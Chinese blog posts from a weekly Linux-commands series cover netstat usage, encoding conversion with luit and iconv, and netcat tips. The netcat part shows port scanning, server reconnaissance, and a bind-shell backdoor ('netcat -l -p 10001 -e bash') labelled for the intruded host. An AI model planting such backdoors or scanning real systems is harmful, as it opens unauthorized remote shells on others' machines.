[LCOTW] netstat

LCOTW (Linux Commands Of The Week) Tag 下是总结 Linux 常用命令的文章。

netstat 是用来检测网络信息的工具。
当直接在终端输入 netsate,可以看到两部分输出 Active Internet connections 和 Active UNIX domain sockets,其中 Proto 栏表示所使用的协议 RefCnt 引用计数使用本连接的进程数,State 表示接口状态。

显示已经建立的端口:

netstat -n

显示所有端口:

netstat -a

显示正在监听的端口:

netstat -lnep

p 选项表示显示 PID/Program
n 选项强制表示用数字显示地址,不进行解析
e 选项表示显示扩展信息,比不加 e 多了 user 和 inode 信息

显示本机路由表:

netstat -nr

显示接口信息:

netstat -i

netstat 常和 awk 结合来统计连接数:

netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'

[via Nginx 0.5.31 + PHP 5.2.4(FastCGI)搭建可承受3万以上并发连接数,胜过Apache 10倍的Web服务器]

netstat -an |awk '/LISTEN/{next};/^tcp/{s=split($5, N,":"); \
A[N[s-1]]++} END{ for (a in A) print a, A[a]}'

[via 用awk过滤查看netstat 连接数]

[LCOTW] luit & iconv

LCOTW (Linux Commands Of The Week) Tag 下是每周总结 Linux 命令用法的活动。
今天突发奇想用 ssh 登录水木论坛,问题是 Linux 的终端是 UTF-8 的,而水木是 GBK 编码,所以登进去以后全变成乱码了,在网上搜索了一下得知可以用 luit 在终端中实时转换编码到 UTF-8,比如登录水木的命令应该这么写:

luit -encoding gbk ssh username@newsmth.net

另一个很有用的跟编码有关的命令是 iconv,典型的用法是:

iconv -f cp936 -t UTF-8 -o file_utf8.txt file.txt

这个命令可以将 cp936(既 gb2312)编码的文件 file.txt 转换为 UTF-8 编码的 file_utf8.txt
不过我还找到给这个文件自动添加 BOM 的办法,所以通常是用 Python 做批量转换,代码为:

    import codecs
    filein = open(filename, 'r')
    string = ''
    for line in filein:
        string += line.decode('cp936').encode('utf-8')
    out = open(filename+'_utf8', 'w')
    out.write(codecs.BOM_UTF8)
    out.write(string)

[LCOTW] Netcat notes

LCOTW (Linux Commands Of The Week) Tag 下是每周总结 Linux 命令用法的活动。
本文内容是 netcat tutorial 的简化中文版。

1. 端口扫描
netcat -v -w 2 -z localhost 20-80
-v 是 verbose 模式
-w 设置超时时间
-z 设置 Zero IO,在监听模式下,会拒绝所有连接,在访问模式下会在建立连接后马上断开

2. 踩点
netcat -v localhost 80
用这个命令可以查看 HTTP 连接的信息,输入 GET HTTP 构造一个非法请求以刺探服务器信息,我通常用 curl 来作这件事:

curl -I localhost

3. 用 netcat 作后门
服务端(即被入侵端)

netcat -l -p 10001 -e bash

如果服务端是 windows 就输入:

netcat -l -p 10001 -e cmd

在 GNU netcat 0.7.1 里面 -d 是开启 debug 模式的选项,但旧版里是 Tells Netcat to detach from the process we want it to run
从客户端连接:

netcat -v localhost 10001

4. 文件传输
在服务端:

netcat -l -p 10001 > file.dat

在客户端:

netcat localhost 10001 < file_to_be_transfered.dat

记住按 ctrl+c 终止传输,检查文件的 md5 是否一致。

补充一个关于 Mldonkey 的技巧,Mldonkey 支持 telnet 方式检查下载状态,但登入登出 telnet 太麻烦,用 netcat 可以简化这个过程:

 echo -e 'vd\nexit' | netcat localhost 4000

谢谢 chroot 提供这个方法